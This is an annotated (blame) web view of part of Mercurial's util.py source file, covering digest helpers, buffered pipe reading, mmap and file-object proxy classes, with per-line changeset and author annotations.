author | Matt Harbison <matt_harbison@yahoo.com> |
Thu, 11 Mar 2021 19:21:58 -0500 | |
branch | stable |
changeset 46694 | d6601547f22b |
parent 46521 | ebc6d3484fdd |
child 46675 | 6f4a481f182a |
child 46802 | 112826b59476 |
permissions | -rw-r--r-- |
17515 | 1 |
# util.py - Mercurial utility functions and platform specific implementations |
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# |
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# Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
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# Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
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# Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
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# |
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# This software may be used and distributed according to the terms of the |
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# GNU General Public License version 2 or any later version. |
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"""Mercurial utility functions and platform specific implementations. |
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This contains helper routines that are independent of the SCM core and |
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hide platform-specific details from the core. |
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""" |
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from __future__ import absolute_import, print_function |
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import abc |
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import collections |
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import contextlib |
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import errno |
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import gc |
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import hashlib |
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import itertools |
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import locale |
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import mmap |
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import os |
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import platform as pyplatform |
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import re as remod |
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import shutil |
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import socket |
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import stat |
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import sys |
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import time |
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import traceback |
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import warnings |
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from .thirdparty import attr |
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from .pycompat import ( |
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delattr, |
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getattr, |
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open, |
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setattr, |
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) |
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from .node import hex |
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from hgdemandimport import tracing |
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from . import ( |
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encoding, |
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error, |
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i18n, |
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policy, |
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pycompat, |
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urllibcompat, |
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) |
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from .utils import ( |
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compression, |
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hashutil, |
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procutil, |
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stringutil, |
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) |
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base85 = policy.importmod('base85') |
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osutil = policy.importmod('osutil') |
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b85decode = base85.b85decode |
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b85encode = base85.b85encode |
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cookielib = pycompat.cookielib |
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httplib = pycompat.httplib |
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pickle = pycompat.pickle |
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safehasattr = pycompat.safehasattr |
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socketserver = pycompat.socketserver |
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bytesio = pycompat.bytesio |
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# TODO deprecate stringio name, as it is a lie on Python 3. |
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stringio = bytesio |
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xmlrpclib = pycompat.xmlrpclib |
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httpserver = urllibcompat.httpserver |
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urlerr = urllibcompat.urlerr |
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urlreq = urllibcompat.urlreq |
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# workaround for win32mbcs |
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_filenamebytestr = pycompat.bytestr |
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if pycompat.iswindows: |
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from . import windows as platform |
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else: |
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from . import posix as platform |
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_ = i18n._ |
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bindunixsocket = platform.bindunixsocket |
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cachestat = platform.cachestat |
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checkexec = platform.checkexec |
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checklink = platform.checklink |
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copymode = platform.copymode |
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expandglobs = platform.expandglobs |
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getfsmountpoint = platform.getfsmountpoint |
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getfstype = platform.getfstype |
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groupmembers = platform.groupmembers |
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groupname = platform.groupname |
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isexec = platform.isexec |
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isowner = platform.isowner |
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listdir = osutil.listdir |
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localpath = platform.localpath |
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lookupreg = platform.lookupreg |
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makedir = platform.makedir |
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nlinks = platform.nlinks |
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normpath = platform.normpath |
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normcase = platform.normcase |
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normcasespec = platform.normcasespec |
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normcasefallback = platform.normcasefallback |
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openhardlinks = platform.openhardlinks |
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oslink = platform.oslink |
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parsepatchoutput = platform.parsepatchoutput |
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pconvert = platform.pconvert |
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poll = platform.poll |
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posixfile = platform.posixfile |
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readlink = platform.readlink |
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rename = platform.rename |
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removedirs = platform.removedirs |
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samedevice = platform.samedevice |
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123 |
samefile = platform.samefile |
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124 |
samestat = platform.samestat |
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125 |
setflags = platform.setflags |
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126 |
split = platform.split |
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statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
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statisexec = platform.statisexec |
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statislink = platform.statislink |
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umask = platform.umask |
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131 |
unlink = platform.unlink |
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132 |
username = platform.username |
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133 |
|
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134 |
|
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135 |
def setumask(val): |
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''' updates the umask. used by chg server ''' |
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if pycompat.iswindows: |
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return |
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139 |
os.umask(val) |
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global umask |
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141 |
platform.umask = umask = val & 0o777 |
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142 |
|
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143 |
|
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144 |
# small compat layer |
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compengines = compression.compengines |
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SERVERROLE = compression.SERVERROLE |
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CLIENTROLE = compression.CLIENTROLE |
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148 |
|
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149 |
try: |
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recvfds = osutil.recvfds |
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except AttributeError: |
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pass |
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153 |
|
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154 |
# Python compatibility |
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_notset = object() |
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157 |
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def bitsfrom(container): |
160 |
bits = 0 |
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for bit in container: |
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bits |= bit |
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163 |
return bits |
|
164 |
||
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165 |
|
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166 |
# python 2.6 still have deprecation warning enabled by default. We do not want |
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# to display anything to standard user so detect if we are running test and |
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# only use python deprecation warning in this case. |
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_dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) |
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170 |
if _dowarn: |
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171 |
# explicitly unfilter our warning for python 2.7 |
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172 |
# |
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173 |
# The option of setting PYTHONWARNINGS in the test runner was investigated. |
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174 |
# However, module name set through PYTHONWARNINGS was exactly matched, so |
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175 |
# we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
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# makes the whole PYTHONWARNINGS thing useless for our usecase. |
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warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial') |
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178 |
warnings.filterwarnings('default', '', DeprecationWarning, 'hgext') |
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179 |
warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd') |
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180 |
if _dowarn and pycompat.ispy3: |
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# silence warning emitted by passing user string to re.sub() |
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warnings.filterwarnings( |
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'ignore', 'bad escape', DeprecationWarning, 'mercurial' |
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184 |
) |
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warnings.filterwarnings( |
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'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial' |
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187 |
) |
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# TODO: reinvent imp.is_frozen() |
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189 |
warnings.filterwarnings( |
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190 |
'ignore', |
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191 |
'the imp module is deprecated', |
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192 |
DeprecationWarning, |
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193 |
'mercurial', |
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194 |
) |
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195 |
|
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196 |
|
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197 |
def nouideprecwarn(msg, version, stacklevel=1): |
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198 |
"""Issue an python native deprecation warning |
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199 |
|
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200 |
This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
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201 |
""" |
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if _dowarn: |
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203 |
msg += ( |
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b"\n(compatibility will be dropped after Mercurial-%s," |
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205 |
b" update your code.)" |
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206 |
) % version |
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warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
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208 |
# on python 3 with chg, we will need to explicitly flush the output |
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sys.stderr.flush() |
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|
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DIGESTS = { |
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b'md5': hashlib.md5, |
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b'sha1': hashutil.sha1, |
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b'sha512': hashlib.sha512, |
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} |
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# List of digest types from strongest to weakest |
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DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] |
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|
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for k in DIGESTS_BY_STRENGTH: |
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assert k in DIGESTS |
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|
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class digester(object): |
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"""helper to compute digests. |
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|
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This helper can be used to compute one or more digests given their name. |
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|
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>>> d = digester([b'md5', b'sha1']) |
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>>> d.update(b'foo') |
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>>> [k for k in sorted(d)] |
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['md5', 'sha1'] |
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>>> d[b'md5'] |
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'acbd18db4cc2f85cedef654fccc4a4d8' |
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>>> d[b'sha1'] |
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'0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
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>>> digester.preferred([b'md5', b'sha1']) |
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'sha1' |
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""" |
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def __init__(self, digests, s=b''): |
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self._hashes = {} |
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for k in digests: |
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if k not in DIGESTS: |
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raise error.Abort(_(b'unknown digest type: %s') % k) |
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self._hashes[k] = DIGESTS[k]() |
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if s: |
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self.update(s) |
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|
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def update(self, data): |
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for h in self._hashes.values(): |
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h.update(data) |
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|
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def __getitem__(self, key): |
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if key not in DIGESTS: |
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raise error.Abort(_(b'unknown digest type: %s') % k) |
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return hex(self._hashes[key].digest()) |
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def __iter__(self): |
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return iter(self._hashes) |
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@staticmethod |
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def preferred(supported): |
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"""returns the strongest digest type in both supported and DIGESTS.""" |
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|
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for k in DIGESTS_BY_STRENGTH: |
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if k in supported: |
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return k |
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return None |
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class digestchecker(object): |
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"""file handle wrapper that additionally checks content against a given |
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size and digests. |
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|
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d = digestchecker(fh, size, {'md5': '...'}) |
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|
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When multiple digests are given, all of them are validated. |
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""" |
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|
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def __init__(self, fh, size, digests): |
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self._fh = fh |
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self._size = size |
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self._got = 0 |
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self._digests = dict(digests) |
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self._digester = digester(self._digests.keys()) |
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|
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def read(self, length=-1): |
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content = self._fh.read(length) |
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self._digester.update(content) |
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self._got += len(content) |
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return content |
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|
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def validate(self): |
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if self._size != self._got: |
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raise error.Abort( |
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_(b'size mismatch: expected %d, got %d') |
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% (self._size, self._got) |
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) |
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for k, v in self._digests.items(): |
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if v != self._digester[k]: |
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# i18n: first parameter is a digest name |
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raise error.Abort( |
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_(b'%s mismatch: expected %s, got %s') |
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% (k, v, self._digester[k]) |
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) |
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|
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|
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try: |
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buffer = buffer |
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except NameError: |
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|
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def buffer(sliceable, offset=0, length=None): |
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if length is not None: |
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return memoryview(sliceable)[offset : offset + length] |
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return memoryview(sliceable)[offset:] |
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|
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_chunksize = 4096 |
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class bufferedinputpipe(object): |
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"""a manually buffered input pipe |
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|
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Python will not let us use buffered IO and lazy reading with 'polling' at |
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the same time. We cannot probe the buffer state and select will not detect |
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that data are ready to read if they are already buffered. |
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|
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This class let us work around that by implementing its own buffering |
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(allowing efficient readline) while offering a way to know if the buffer is |
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empty from the output (allowing collaboration of the buffer with polling). |
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|
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This class lives in the 'util' module because it makes use of the 'os' |
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module from the python stdlib. |
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""" |
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def __new__(cls, fh): |
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# If we receive a fileobjectproxy, we need to use a variation of this |
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# class that notifies observers about activity. |
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if isinstance(fh, fileobjectproxy): |
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cls = observedbufferedinputpipe |
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return super(bufferedinputpipe, cls).__new__(cls) |
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def __init__(self, input): |
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self._input = input |
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|
347 |
self._buffer = [] |
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|
348 |
self._eof = False |
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|
349 |
self._lenbuf = 0 |
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|
350 |
|
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|
351 |
@property |
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|
352 |
def hasbuffer(self): |
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|
353 |
"""True is any data is currently buffered |
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|
354 |
|
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|
355 |
This will be used externally a pre-step for polling IO. If there is |
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|
356 |
already data then no polling should be set in place.""" |
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|
357 |
return bool(self._buffer) |
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|
358 |
|
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|
359 |
@property |
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|
360 |
def closed(self): |
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|
361 |
return self._input.closed |
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|
362 |
|
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|
363 |
def fileno(self): |
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|
364 |
return self._input.fileno() |
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changeset
|
365 |
|
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|
366 |
def close(self): |
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|
367 |
return self._input.close() |
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|
368 |
|
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|
369 |
def read(self, size): |
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|
370 |
while (not self._eof) and (self._lenbuf < size): |
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|
371 |
self._fillbuffer() |
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|
372 |
return self._frombuffer(size) |
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|
373 |
|
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|
374 |
def unbufferedread(self, size): |
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|
375 |
if not self._eof and self._lenbuf == 0: |
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|
376 |
self._fillbuffer(max(size, _chunksize)) |
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|
377 |
return self._frombuffer(min(self._lenbuf, size)) |
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|
378 |
|
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|
379 |
def readline(self, *args, **kwargs): |
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|
380 |
if len(self._buffer) > 1: |
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|
381 |
# this should not happen because both read and readline end with a |
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|
382 |
# _frombuffer call that collapse it. |
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|
383 |
self._buffer = [b''.join(self._buffer)] |
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|
384 |
self._lenbuf = len(self._buffer[0]) |
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|
385 |
lfi = -1 |
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|
386 |
if self._buffer: |
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|
387 |
lfi = self._buffer[-1].find(b'\n') |
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|
388 |
while (not self._eof) and lfi < 0: |
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|
389 |
self._fillbuffer() |
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|
390 |
if self._buffer: |
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|
391 |
lfi = self._buffer[-1].find(b'\n') |
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|
392 |
size = lfi + 1 |
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|
393 |
if lfi < 0: # end of file |
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|
394 |
size = self._lenbuf |
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|
395 |
elif len(self._buffer) > 1: |
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|
396 |
# we need to take previous chunks into account |
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|
397 |
size += self._lenbuf - len(self._buffer[-1]) |
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|
398 |
return self._frombuffer(size) |
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changeset
|
399 |
|
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changeset
|
400 |
def _frombuffer(self, size): |
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|
401 |
"""return at most 'size' data from the buffer |
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changeset
|
402 |
|
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changeset
|
403 |
The data are removed from the buffer.""" |
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changeset
|
404 |
if size == 0 or not self._buffer: |
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|
405 |
return b'' |
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changeset
|
406 |
buf = self._buffer[0] |
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changeset
|
407 |
if len(self._buffer) > 1: |
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|
408 |
buf = b''.join(self._buffer) |
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changeset
|
409 |
|
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changeset
|
410 |
data = buf[:size] |
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changeset
|
411 |
buf = buf[len(data) :] |
25406
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changeset
|
412 |
if buf: |
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changeset
|
413 |
self._buffer = [buf] |
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bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
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diff
changeset
|
414 |
self._lenbuf = len(buf) |
25406
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diff
changeset
|
415 |
else: |
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diff
changeset
|
416 |
self._buffer = [] |
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diff
changeset
|
417 |
self._lenbuf = 0 |
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changeset
|
418 |
return data |
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changeset
|
419 |
|
38713
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ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
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diff
changeset
|
420 |
def _fillbuffer(self, size=_chunksize): |
25406
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changeset
|
421 |
"""read data to the buffer""" |
38713
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diff
changeset
|
422 |
data = os.read(self._input.fileno(), size) |
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diff
changeset
|
423 |
if not data: |
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changeset
|
424 |
self._eof = True |
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diff
changeset
|
425 |
else: |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
426 |
self._lenbuf += len(data) |
25406
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diff
changeset
|
427 |
self._buffer.append(data) |
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diff
changeset
|
428 |
|
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
429 |
return data |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
430 |
|
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
431 |
|
44035
8ed8dfbeabb9
mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
44021
diff
changeset
|
432 |
def mmapread(fp, size=None): |
8ed8dfbeabb9
mmap: add a size argument to mmapread
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parents:
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diff
changeset
|
433 |
if size == 0: |
8ed8dfbeabb9
mmap: add a size argument to mmapread
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parents:
44021
diff
changeset
|
434 |
# size of 0 to mmap.mmap() means "all data" |
8ed8dfbeabb9
mmap: add a size argument to mmapread
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diff
changeset
|
435 |
# rather than "zero bytes", so special case that. |
8ed8dfbeabb9
mmap: add a size argument to mmapread
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parents:
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diff
changeset
|
436 |
return b'' |
8ed8dfbeabb9
mmap: add a size argument to mmapread
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parents:
44021
diff
changeset
|
437 |
elif size is None: |
8ed8dfbeabb9
mmap: add a size argument to mmapread
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parents:
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diff
changeset
|
438 |
size = 0 |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
439 |
try: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
440 |
fd = getattr(fp, 'fileno', lambda: fp)() |
44035
8ed8dfbeabb9
mmap: add a size argument to mmapread
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parents:
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diff
changeset
|
441 |
return mmap.mmap(fd, size, access=mmap.ACCESS_READ) |
34295
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util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
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diff
changeset
|
442 |
except ValueError: |
3bb2a9f25fe9
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Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
443 |
# Empty files cannot be mmapped, but mmapread should still work. Check |
3bb2a9f25fe9
util: add an mmapread method
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parents:
34139
diff
changeset
|
444 |
# if the file is empty, and if so, return an empty buffer. |
3bb2a9f25fe9
util: add an mmapread method
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parents:
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diff
changeset
|
445 |
if os.fstat(fd).st_size == 0: |
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parents:
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diff
changeset
|
446 |
return b'' |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
447 |
raise |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
448 |
|
43076
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diff
changeset
|
449 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
450 |
class fileobjectproxy(object): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
451 |
"""A proxy around file objects that tells a watcher when events occur. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
452 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
453 |
This type is intended to only be used for testing purposes. Think hard |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
454 |
before using it in important code. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
455 |
""" |
43076
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formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
456 |
|
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|
457 |
__slots__ = ( |
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|
458 |
'_orig', |
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|
459 |
'_observer', |
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|
460 |
) |
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|
461 |
|
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|
462 |
def __init__(self, fh, observer): |
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|
463 |
object.__setattr__(self, '_orig', fh) |
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|
464 |
object.__setattr__(self, '_observer', observer) |
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|
465 |
|
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|
466 |
def __getattribute__(self, name): |
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|
467 |
ours = { |
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|
468 |
'_observer', |
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|
469 |
# IOBase |
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|
470 |
'close', |
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|
471 |
# closed if a property |
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|
472 |
'fileno', |
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|
473 |
'flush', |
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|
474 |
'isatty', |
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|
475 |
'readable', |
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|
476 |
'readline', |
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|
477 |
'readlines', |
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|
478 |
'seek', |
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|
479 |
'seekable', |
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|
480 |
'tell', |
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|
481 |
'truncate', |
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|
482 |
'writable', |
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|
483 |
'writelines', |
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|
484 |
# RawIOBase |
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|
485 |
'read', |
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|
486 |
'readall', |
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|
487 |
'readinto', |
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|
488 |
'write', |
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|
489 |
# BufferedIOBase |
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|
490 |
# raw is a property |
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|
491 |
'detach', |
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|
492 |
# read defined above |
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|
493 |
'read1', |
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|
494 |
# readinto defined above |
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|
495 |
# write defined above |
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|
496 |
} |
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|
497 |
|
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|
498 |
# We only observe some methods. |
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|
499 |
if name in ours: |
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|
500 |
return object.__getattribute__(self, name) |
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|
501 |
|
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|
502 |
return getattr(object.__getattribute__(self, '_orig'), name) |
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|
503 |
|
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Matt Harbison <matt_harbison@yahoo.com>
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|
504 |
def __nonzero__(self): |
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|
505 |
return bool(object.__getattribute__(self, '_orig')) |
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|
506 |
|
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
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diff
changeset
|
507 |
__bool__ = __nonzero__ |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
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diff
changeset
|
508 |
|
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changeset
|
509 |
def __delattr__(self, name): |
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parents:
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changeset
|
510 |
return delattr(object.__getattribute__(self, '_orig'), name) |
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changeset
|
511 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
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changeset
|
512 |
def __setattr__(self, name, value): |
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changeset
|
513 |
return setattr(object.__getattribute__(self, '_orig'), name, value) |
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|
514 |
|
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|
515 |
def __iter__(self): |
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parents:
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|
516 |
return object.__getattribute__(self, '_orig').__iter__() |
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changeset
|
517 |
|
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
518 |
def _observedcall(self, name, *args, **kwargs): |
bfe38f787d5b
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|
519 |
# Call the original object. |
43506
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diff
changeset
|
520 |
orig = object.__getattribute__(self, '_orig') |
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|
521 |
res = getattr(orig, name)(*args, **kwargs) |
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changeset
|
522 |
|
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parents:
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changeset
|
523 |
# Call a method on the observer of the same name with arguments |
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|
524 |
# so it can react, log, etc. |
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changeset
|
525 |
observer = object.__getattribute__(self, '_observer') |
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changeset
|
526 |
fn = getattr(observer, name, None) |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
527 |
if fn: |
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util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
528 |
fn(res, *args, **kwargs) |
bfe38f787d5b
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
529 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
530 |
return res |
bfe38f787d5b
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
531 |
|
bfe38f787d5b
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
532 |
def close(self, *args, **kwargs): |
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changeset
|
533 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
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|
534 |
'close', *args, **kwargs |
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changeset
|
535 |
) |
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changeset
|
536 |
|
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
537 |
def fileno(self, *args, **kwargs): |
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|
538 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
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|
539 |
'fileno', *args, **kwargs |
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changeset
|
540 |
) |
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|
541 |
|
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
542 |
def flush(self, *args, **kwargs): |
43506
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|
543 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
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|
544 |
'flush', *args, **kwargs |
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changeset
|
545 |
) |
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|
546 |
|
bfe38f787d5b
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Gregory Szorc <gregory.szorc@gmail.com>
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changeset
|
547 |
def isatty(self, *args, **kwargs): |
43506
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changeset
|
548 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
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parents:
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|
549 |
'isatty', *args, **kwargs |
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changeset
|
550 |
) |
36524
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changeset
|
551 |
|
bfe38f787d5b
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parents:
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changeset
|
552 |
def readable(self, *args, **kwargs): |
43506
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parents:
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changeset
|
553 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
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Augie Fackler <augie@google.com>
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|
554 |
'readable', *args, **kwargs |
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changeset
|
555 |
) |
36524
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changeset
|
556 |
|
bfe38f787d5b
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parents:
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diff
changeset
|
557 |
def readline(self, *args, **kwargs): |
43506
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parents:
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|
558 |
return object.__getattribute__(self, '_observedcall')( |
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|
559 |
'readline', *args, **kwargs |
43076
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changeset
|
560 |
) |
36524
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changeset
|
561 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
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parents:
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diff
changeset
|
562 |
def readlines(self, *args, **kwargs): |
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|
563 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
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Augie Fackler <augie@google.com>
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changeset
|
564 |
'readlines', *args, **kwargs |
43076
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changeset
|
565 |
) |
36524
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diff
changeset
|
566 |
|
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Gregory Szorc <gregory.szorc@gmail.com>
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changeset
|
567 |
def seek(self, *args, **kwargs): |
43506
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|
568 |
return object.__getattribute__(self, '_observedcall')( |
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|
569 |
'seek', *args, **kwargs |
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|
570 |
) |
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|
571 |
|
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|
572 |
def seekable(self, *args, **kwargs): |
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|
573 |
return object.__getattribute__(self, '_observedcall')( |
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574 |
'seekable', *args, **kwargs |
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|
575 |
) |
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|
576 |
|
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|
577 |
def tell(self, *args, **kwargs): |
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|
578 |
return object.__getattribute__(self, '_observedcall')( |
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|
579 |
'tell', *args, **kwargs |
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|
580 |
) |
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|
581 |
|
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|
582 |
def truncate(self, *args, **kwargs): |
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|
583 |
return object.__getattribute__(self, '_observedcall')( |
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|
584 |
'truncate', *args, **kwargs |
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|
585 |
) |
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|
586 |
|
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|
587 |
def writable(self, *args, **kwargs): |
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|
588 |
return object.__getattribute__(self, '_observedcall')( |
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|
589 |
'writable', *args, **kwargs |
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|
590 |
) |
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|
591 |
|
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|
592 |
def writelines(self, *args, **kwargs): |
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|
593 |
return object.__getattribute__(self, '_observedcall')( |
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|
594 |
'writelines', *args, **kwargs |
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|
595 |
) |
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changeset
|
596 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
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|
597 |
def read(self, *args, **kwargs): |
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|
598 |
return object.__getattribute__(self, '_observedcall')( |
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|
599 |
'read', *args, **kwargs |
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|
600 |
) |
36524
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
601 |
|
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|
602 |
def readall(self, *args, **kwargs): |
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|
603 |
return object.__getattribute__(self, '_observedcall')( |
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|
604 |
'readall', *args, **kwargs |
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changeset
|
605 |
) |
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parents:
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changeset
|
606 |
|
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util: add a file object proxy that can notify observers
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parents:
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changeset
|
607 |
def readinto(self, *args, **kwargs): |
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|
608 |
return object.__getattribute__(self, '_observedcall')( |
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|
609 |
'readinto', *args, **kwargs |
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changeset
|
610 |
) |
36524
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
611 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
612 |
def write(self, *args, **kwargs): |
43506
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|
613 |
return object.__getattribute__(self, '_observedcall')( |
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|
614 |
'write', *args, **kwargs |
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changeset
|
615 |
) |
36524
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
616 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
617 |
def detach(self, *args, **kwargs): |
43506
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|
618 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
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|
619 |
'detach', *args, **kwargs |
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changeset
|
620 |
) |
36524
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
621 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
622 |
def read1(self, *args, **kwargs): |
43506
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|
623 |
return object.__getattribute__(self, '_observedcall')( |
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|
624 |
'read1', *args, **kwargs |
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|
625 |
) |
2372284d9457
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changeset
|
626 |
|
36524
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Gregory Szorc <gregory.szorc@gmail.com>
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changeset
|
627 |
|
36525
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|
628 |
class observedbufferedinputpipe(bufferedinputpipe): |
3158052720ae
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|
629 |
"""A variation of bufferedinputpipe that is aware of fileobjectproxy. |
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parents:
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|
630 |
|
3158052720ae
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changeset
|
631 |
``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
3158052720ae
util: enable observing of util.bufferedinputpipe
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|
632 |
bypass ``fileobjectproxy``. Because of this, we need to make |
3158052720ae
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parents:
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|
633 |
``bufferedinputpipe`` aware of these operations. |
3158052720ae
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changeset
|
634 |
|
3158052720ae
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diff
changeset
|
635 |
This variation of ``bufferedinputpipe`` can notify observers about |
3158052720ae
util: enable observing of util.bufferedinputpipe
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parents:
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changeset
|
636 |
``os.read()`` events. It also re-publishes other events, such as |
3158052720ae
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parents:
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changeset
|
637 |
``read()`` and ``readline()``. |
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|
638 |
""" |
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|
639 |
|
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|
640 |
def _fillbuffer(self): |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
641 |
res = super(observedbufferedinputpipe, self)._fillbuffer() |
3158052720ae
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|
642 |
|
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|
643 |
fn = getattr(self._input._observer, 'osread', None) |
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|
644 |
if fn: |
3158052720ae
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parents:
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|
645 |
fn(res, _chunksize) |
3158052720ae
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parents:
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changeset
|
646 |
|
3158052720ae
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parents:
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diff
changeset
|
647 |
return res |
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changeset
|
648 |
|
3158052720ae
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parents:
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diff
changeset
|
649 |
# We use different observer methods because the operation isn't |
3158052720ae
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parents:
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changeset
|
650 |
# performed on the actual file object but on us. |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
651 |
def read(self, size): |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
652 |
res = super(observedbufferedinputpipe, self).read(size) |
3158052720ae
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parents:
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changeset
|
653 |
|
43103
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
654 |
fn = getattr(self._input._observer, 'bufferedread', None) |
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parents:
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|
655 |
if fn: |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
656 |
fn(res, size) |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
657 |
|
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
658 |
return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
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parents:
36524
diff
changeset
|
659 |
|
3158052720ae
util: enable observing of util.bufferedinputpipe
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parents:
36524
diff
changeset
|
660 |
def readline(self, *args, **kwargs): |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
661 |
res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
662 |
|
43103
c95b2f40db7c
py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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changeset
|
663 |
fn = getattr(self._input._observer, 'bufferedreadline', None) |
36525
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
664 |
if fn: |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
665 |
fn(res) |
3158052720ae
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parents:
36524
diff
changeset
|
666 |
|
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
667 |
return res |
3158052720ae
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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|
668 |
|
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Augie Fackler <augie@google.com>
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|
669 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
670 |
PROXIED_SOCKET_METHODS = { |
43506
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Augie Fackler <augie@google.com>
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|
671 |
'makefile', |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
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parents:
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changeset
|
672 |
'recv', |
9f70512ae2cf
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Augie Fackler <augie@google.com>
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|
673 |
'recvfrom', |
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Augie Fackler <augie@google.com>
parents:
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|
674 |
'recvfrom_into', |
9f70512ae2cf
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Augie Fackler <augie@google.com>
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|
675 |
'recv_into', |
